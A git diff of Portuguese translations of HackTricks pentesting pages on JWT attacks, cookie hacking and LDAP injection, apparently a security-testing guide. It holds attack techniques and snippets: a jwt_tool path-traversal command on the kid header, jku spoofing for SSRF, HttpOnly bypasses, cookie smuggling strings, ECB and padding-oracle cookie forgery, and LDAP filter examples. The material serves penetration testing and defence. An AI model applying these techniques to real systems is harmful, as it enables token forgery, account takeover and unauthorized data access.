@ -93,7 +93,7 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
|
|||
|
||||
### Falsificação de JWKS
|
||||
|
||||
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Essa declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
As instruções detalham um método para avaliar a segurança dos tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Essa declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
|
||||
* **Avaliando Tokens com Cabeçalho "jku"**:
|
||||
* Verifique a URL da declaração "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||
|
@ -114,15 +114,15 @@ Uma declaração de cabeçalho opcional conhecida como `kid` é utilizada para i
|
|||
|
||||
#### Revelando Chave através de "kid"
|
||||
|
||||
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"key/12345"` for especificado, os arquivos _/key/12345_ e _/key/12345.pem_ devem ser procurados na raiz da web.
|
||||
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
|
||||
#### Traversing de Caminho com "kid"
|
||||
|
||||
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como a senha simétrica para a geração do JWT.
|
||||
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como senha simétrica para a geração do JWT.
|
||||
|
||||
#### Injeção de SQL via "kid"
|
||||
|
||||
|
@ -142,7 +142,7 @@ Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em
|
|||
|
||||
#### jku
|
||||
|
||||
jku significa **URL do Conjunto de JWK**.\
|
||||
jku significa **URL do Conjunto JWK**.\
|
||||
Se o token usar uma reivindicação de **Cabeçalho** "**jku**", **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que contém a Chave Pública para verificar o token. Manipule o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
|
||||
|
||||
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
|
||||
|
@ -177,7 +177,7 @@ Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o n
|
|||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
Você também pode abusar de ambas as vulnerabilidades **para SSRFs**.
|
||||
Você também pode abusar de ambas essas vulnerabilidades **para SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -231,7 +231,7 @@ Aqui está um exemplo: [ECDSA: Revelando a chave privada, se o mesmo nonce for u
|
|||
### JTI (JWT ID)
|
||||
|
||||
A reivindicação JTI (JWT ID) fornece um identificador único para um Token JWT. Pode ser usado para evitar que o token seja reproduzido.\
|
||||
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A solicitação 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID em cada solicitação, você poderia abusar disso para **reproduzir uma solicitação** (sendo necessário enviar 10000 solicitações entre cada reprodução bem-sucedida).
|
||||
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A solicitação 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID em cada solicitação, você poderia abusar disso para **reproduzir uma solicitação** (precisando enviar 10000 solicitações entre cada reprodução bem-sucedida).
|
||||
|
||||
### Reivindicações registradas do JWT
|
||||
|
||||
|
@ -241,13 +241,13 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
|
|||
|
||||
**Ataques de Revezamento entre Serviços**
|
||||
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se ele é aceito.
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se é aceito.
|
||||
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área cinzenta legal.
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
|
||||
|
||||
**Verificação de Expiração de Tokens**
|
||||
|
||||
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt\_tool.
|
||||
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
||||
|
||||
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
||||
|
||||
|
@ -255,9 +255,9 @@ A expiração do token é verificada usando a reivindicação de Payload "exp".
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# Hacking de Cookies
|
||||
# Hackeando Cookies
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -32,7 +32,7 @@ A data de expiração de um cookie é determinada pelo atributo `Expires`. Por o
|
|||
|
||||
### Domínio
|
||||
|
||||
Os hosts para receber um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido como o host que emitiu o cookie, sem incluir seus subdomínios. No entanto, quando o atributo `Domain` é definido explicitamente, ele abrange também os subdomínios. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários em que o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
||||
Os hosts que recebem um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido como o host que emitiu o cookie, sem incluir seus subdomínios. No entanto, quando o atributo `Domain` é definido explicitamente, ele abrange também os subdomínios. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários em que o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
||||
|
||||
### Caminho
|
||||
|
||||
|
@ -65,7 +65,7 @@ Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garanti
|
|||
| Imagem | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
|
||||
Um cookie com o atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
||||
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
||||
|
||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de alto nível.**
|
||||
|
@ -74,15 +74,15 @@ Observe que temporariamente, após aplicar essa alteração, os **cookies sem um
|
|||
|
||||
### HttpOnly
|
||||
|
||||
Isso evita que o **cliente** acesse o cookie (Via **Javascript** por exemplo: `document.cookie`)
|
||||
Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
#### **Burlas**
|
||||
|
||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** como resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** de JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||
* Outra maneira é a exploração de vulnerabilidades zero/day dos navegadores.
|
||||
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Isso poderia ser Burlado com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Rastreamento entre Sites**.
|
||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, algumas burlas a isso foram encontradas em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||
* Outra maneira é a exploração de vulnerabilidades zero/dia dos navegadores.
|
||||
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de transbordamento de Cookie Jar:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -90,9 +90,9 @@ Isso evita que o **cliente** acesse o cookie (Via **Javascript** por exemplo: `d
|
|||
|
||||
* É possível usar um ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
|
||||
|
||||
### Secure
|
||||
### Seguro
|
||||
|
||||
A solicitação enviará o cookie **apenas** em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||
A solicitação enviará o cookie apenas em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||
|
||||
## Prefixos de Cookies
|
||||
|
||||
|
@ -101,20 +101,20 @@ Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `se
|
|||
Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
||||
|
||||
* Eles devem ser definidos com a flag `secure`.
|
||||
* Eles devem originar-se de uma página protegida por HTTPS.
|
||||
* Eles devem originar de uma página protegida por HTTPS.
|
||||
* É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
|
||||
* O caminho para esses cookies deve ser definido como `/`.
|
||||
|
||||
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
||||
### Sobrescrevendo cookies
|
||||
|
||||
Portanto, uma das proteções dos cookies com prefixo `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Revelando Vulnerabilidades de Integridade de Sessão na Web**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que era possível definir cookies com prefixo `__HOST-` a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
||||
Portanto, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Revelando Vulnerabilidades de Integridade de Sessão na Web**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ou em PHP era possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo sobrescrever cookies `__HOST-`:
|
||||
Ou em PHP foi possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo sobrescrever cookies `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Ataques de Cookies
|
||||
|
||||
|
@ -174,9 +174,9 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
#### Problema no Chrome: Problema de Ponto de Código Substituto Unicode
|
||||
#### Bug do Chrome: Problema de Ponto de Código de Substituto Unicode
|
||||
|
||||
No Chrome, se um ponto de código substituto Unicode fizer parte de um cookie definido, `document.cookie` fica corrompido, retornando subsequentemente uma string vazia:
|
||||
No Chrome, se um ponto de código de substituto Unicode fizer parte de um cookie definido, `document.cookie` fica corrompido, retornando subsequentemente uma string vazia:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -184,7 +184,7 @@ Isso resulta em `document.cookie` produzindo uma string vazia, indicando corrup
|
|||
|
||||
#### Contrabando de Cookies Devido a Problemas de Análise
|
||||
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manipulam incorretamente strings de cookies devido ao suporte desatualizado ao RFC2965. Eles interpretam um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles interpretam um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveriam separar pares chave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -196,11 +196,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
|
||||
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
||||
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e poderia levar a bypasses de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem da proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente burlando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e poderia levar a bypasses de autorização quando os cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||
|
||||
### Verificações Extras de Cookies Vulneráveis
|
||||
|
||||
#### **Verificações Básicas**
|
||||
#### **Verificações básicas**
|
||||
|
||||
- O **cookie** é o **mesmo** toda vez que você **faz login**.
|
||||
- Faça logout e tente usar o mesmo cookie.
|
||||
|
@ -208,15 +208,15 @@ Essa vulnerabilidade é particularmente perigosa em aplicações web que depende
|
|||
- Verifique se o cookie contém alguma informação e tente modificá-lo.
|
||||
- Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
||||
- Verifique a opção de "**lembrar-me**", se existir, para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
||||
- Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
|
||||
- Verifique se o cookie anterior funciona mesmo depois de alterar a senha.
|
||||
|
||||
#### **Ataques Avançados de Cookies**
|
||||
#### **Ataques avançados de cookies**
|
||||
|
||||
Se o cookie permanecer o mesmo (ou quase) quando você fizer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
||||
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
||||
|
||||
- Tente criar muitas **contas** com usernames muito **similares** e tente **adivinhar** como o algoritmo está funcionando.
|
||||
- Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
||||
- Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||
- Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
|
||||
- Tente **bruteforce no nome de usuário**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
||||
- Tente **Padding Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||
|
||||
**Padding Oracle - Exemplos do Padbuster**
|
||||
```bash
|
||||
|
@ -250,16 +250,16 @@ Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a inte
|
|||
|
||||
**ECB**
|
||||
|
||||
Se o cookie for criptografado usando ECB, pode ser vulnerável.\
|
||||
Se o cookie for criptografado usando ECB, ele pode ser vulnerável.\
|
||||
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
||||
|
||||
**Como detectar e atacar:**
|
||||
|
||||
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido.
|
||||
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido
|
||||
|
||||
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como o ECB criptografa com a mesma chave a cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
|
||||
|
||||
Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um monte de "a" é criptografado, você pode criar um nome de usuário: "a"\*(tamanho do bloco)+"admin". Em seguida, você pode excluir o padrão criptografado de um bloco de "a" do cookie. E você terá o cookie do nome de usuário "admin".
|
||||
Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um monte de "a" é criptografado, você pode criar um nome de usuário: "a"\*(tamanho do bloco)+"admin". Em seguida, você poderia excluir o padrão criptografado de um bloco de "a" do cookie. E você terá o cookie do nome de usuário "admin".
|
||||
|
||||
## Referências
|
||||
|
||||
|
|
|
@ -8,15 +8,15 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -26,13 +26,13 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**Se você deseja saber o que é LDAP acesse a seguinte página:**
|
||||
**Se você quer saber o que é LDAP, acesse a seguinte página:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
||||
A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar corretamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -49,20 +49,20 @@ A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem d
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = TRUE Absoluto\
|
||||
**(|)** = FALSE Absoluto
|
||||
**(&)** = Verdadeiro Absoluto\
|
||||
**(|)** = Falso Absoluto
|
||||
|
||||
Por exemplo:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
Você pode acessar o banco de dados, e isso pode conter informações de muitos tipos diferentes.
|
||||
Você pode acessar o banco de dados, que pode conter informações de muitos tipos diferentes.
|
||||
|
||||
**OpenLDAP**: Se 2 filtros chegarem, apenas executa o primeiro.\
|
||||
**ADAM ou Microsoft LDS**: Com 2 filtros eles lançam um erro.\
|
||||
